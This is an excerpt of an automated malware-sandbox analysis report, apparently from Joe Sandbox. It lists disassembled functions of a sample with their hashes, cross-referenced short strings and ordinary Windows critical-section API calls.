Instruction ID: bb411daeb84ba6cc8782813aab56c5dc80a7b29e6052d91cba9c4b608feb04e2
Opcode Fuzzy Hash: 37e1153e5d0601956be4df5595081ba34075aac515f72f9cd57d9b237f69f675
Instruction Fuzzy Hash: 51215C30B00245CBD720CF29E846BA977B0FB95304F94427AD8542B7A3DBB92586C7DD

Function 04CE70C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CE712E

Strings

CD^O, xrefs: 04CE70E0
_DC[, xrefs: 04CE70D7

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction ID: bd85f991c3c89342e3b2ffa70d6ccece1921f61571a2437b702845afdfd88886
Opcode Fuzzy Hash: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction Fuzzy Hash: 25012130F01304ABC720FF6AAC009B8B3B5FB88304F880279D41857240EB75A9429BEA

Function 04CE6B00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CE6B6E

Strings

_DC[, xrefs: 04CE6B17
CD^O, xrefs: 04CE6B20

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction ID: 59acc23c6ae72a031bd4669f738b5fa74ef6f9e6a879dfa4ab37ba94fe350729
Opcode Fuzzy Hash: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction Fuzzy Hash: D1014470F003089BCB20FFA9AD40A78B3B5E708314FC082B9D41857250EB3479419BDA

Function 04B47F27 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B493D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B493E2
Part of subcall function 04B493D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B4941F

__Init_thread_footer.LIBCMT ref: 04B47F95

Part of subcall function 04B4938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B49397
Part of subcall function 04B4938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B493CA

Strings

CD^O, xrefs: 04B47F47
_DC[, xrefs: 04B47F3E

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction ID: 6d54276575cec01648bb8cdcd8c95df3e6207059145abe7d593a67d09d2ef70c
Opcode Fuzzy Hash: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction Fuzzy Hash: F30126B0B002049BC720EF79BD0099973B4EBC4304F9401B9D12857250DB74B4419BD9

Function 04B47967 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B493D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B493E2
Part of subcall function 04B493D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B4941F

__Init_thread_footer.LIBCMT ref: 04B479D5

Part of subcall function 04B4938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B49397
Part of subcall function 04B4938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B493CA

Strings

_DC[, xrefs: 04B4797E
CD^O, xrefs: 04B47987

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction ID: afbe0b1e3a5232ec8fc45a5e0e38780b7958d014a02b47b1471e8b13860023b7
Opcode Fuzzy Hash: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction Fuzzy Hash: AA0149B0B00208DBCB20FFB8BD40A5D73B0EB44314F8082EAD11957290DB747441DBC9

Function 00407CC0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 00407D2E

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

CD^O, xrefs: 00407CE0
_DC[, xrefs: 00407CD7

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 53c53f0d35d6ef20f9dfb6d629afc077c30de4eaa3ac919fd52d2abd114ead8e
Instruction ID: 8bf2ad3165393ed28199ca71651b1e02a490a28405ec2f0c6d2e7b73ba48d91c
Opcode Fuzzy Hash: 53c53f0d35d6ef20f9dfb6d629afc077c30de4eaa3ac919fd52d2abd114ead8e
Instruction Fuzzy Hash: 1C012630F002059BC720EF6AAD0196973B4FB59300B84017AE5146B282E77899428BDE

Function 00407700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 0040776E

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

_DC[, xrefs: 00407717
CD^O, xrefs: 00407720

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 6984f13f36b3e6cee961cec358f898ccc9f9a1464559edccbb98c4c3ae659da9
Instruction ID: 44c7e97e152ec1ca5567fde67ff81d8d8e81e117548a1af78ec12ab7f1e6b2a3
Opcode Fuzzy Hash: 6984f13f36b3e6cee961cec358f898ccc9f9a1464559edccbb98c4c3ae659da9
Instruction Fuzzy Hash: 64012670F002089BC720FF69AD41A5973B0E708350F80827EE5196B292EB786941CBCA

Function 04CE64B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CE6519

Strings

DCDO, xrefs: 04CE64C6
EDO*, xrefs: 04CE64CD

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$EDO*
API String ID: 1385522511-3480089779
Opcode ID: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction ID: 9a4274da65ab94f9fbd0f34c1431bece6a73b280ecacf18095417aab1c032893
Opcode Fuzzy Hash: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction Fuzzy Hash: 8D01D6B0B023089FD720EFA5E88156CB7B1E704304FD04579CE0597350DB347A818B99

Function 04CE65C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CE6629

Strings

DCDO, xrefs: 04CE65D6
^]E*, xrefs: 04CE65DD

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$^]E*
API String ID: 1385522511-2708296792
Opcode ID: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction ID: 6848e15de3996628be23f43624e09a179a0b14696eba4def435a4b9af94f50d0
Opcode Fuzzy Hash: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction Fuzzy Hash: AE01AD70B00208EFD720EF68E94256CBBB1EB04304F84417AC90997394DF357A118B99

Function 04B47427 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B493D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B493E2
Part of subcall function 04B493D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B4941F

__Init_thread_footer.LIBCMT ref: 04B47490

Part of subcall function 04B4938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B49397
Part of subcall function 04B4938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B493CA

Strings

DCDO, xrefs: 04B4743D
^]E*, xrefs: 04B47444

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$^]E*
API String ID: 4132704954-2708296792
Opcode ID: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction ID: 6f4b96e39770c75f6dbf9a5ad1d2e765e7569c03ea8a6f485ed5ebe238ee9a96
Opcode Fuzzy Hash: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction Fuzzy Hash: 2A01ADB0B00208ABCB20EF68E98256DBBB0EB44314F8401BAC91957390CB35B9109F89

Function 04B47317 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B493D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B493E2
Part of subcall function 04B493D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B4941F

__Init_thread_footer.LIBCMT ref: 04B47380

Part of subcall function 04B4938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B49397
Part of subcall function 04B4938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B493CA

Strings

DCDO, xrefs: 04B4732D
EDO*, xrefs: 04B47334

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$EDO*
API String ID: 4132704954-3480089779
Opcode ID: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction ID: f8e536f69ee61ca72cfba216928ad109341b111eb874ba451fd152c23f1c1cb4
Opcode Fuzzy Hash: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction Fuzzy Hash: 0F01D6F0B013089FDB10DF64E98159DB7B0EB85304F9041F9CA15573A0CB347981DB89

Function 004070B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 00407119

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

DCDO, xrefs: 004070C6
EDO*, xrefs: 004070CD

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$EDO*
API String ID: 2296764815-3480089779
Opcode ID: 057ee43e4521391655df31a4c43a3f0a7f6c0038db3df444a4ed800121ff4de1
Instruction ID: 6e88f7cd3849569d85f07cd18ee47690fbb1a730dcdea08f10a2250dba35ba50
Opcode Fuzzy Hash: 057ee43e4521391655df31a4c43a3f0a7f6c0038db3df444a4ed800121ff4de1
Instruction Fuzzy Hash: 1F0186B0F01208AFC710DF55E98255DB7B0E705304F90457ADA15AB3D1DB386D95CB8D

Function 004071C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 00407229

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

DCDO, xrefs: 004071D6
^]E*, xrefs: 004071DD

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$^]E*
API String ID: 2296764815-2708296792
Opcode ID: da9be0c5e5273d7ee2d012b34ad58f6f2e7d462380927887947c71f03af37cc5
Instruction ID: 8efc7060af64cb8acb1af25de2c4b339d239c6825e953d18f5e204f1a235d67b
Opcode Fuzzy Hash: da9be0c5e5273d7ee2d012b34ad58f6f2e7d462380927887947c71f03af37cc5
Instruction Fuzzy Hash: 8F016D70F002089BC720EF68E94295DB7B0EB08304F9441BEE919A7396DB3969158BCE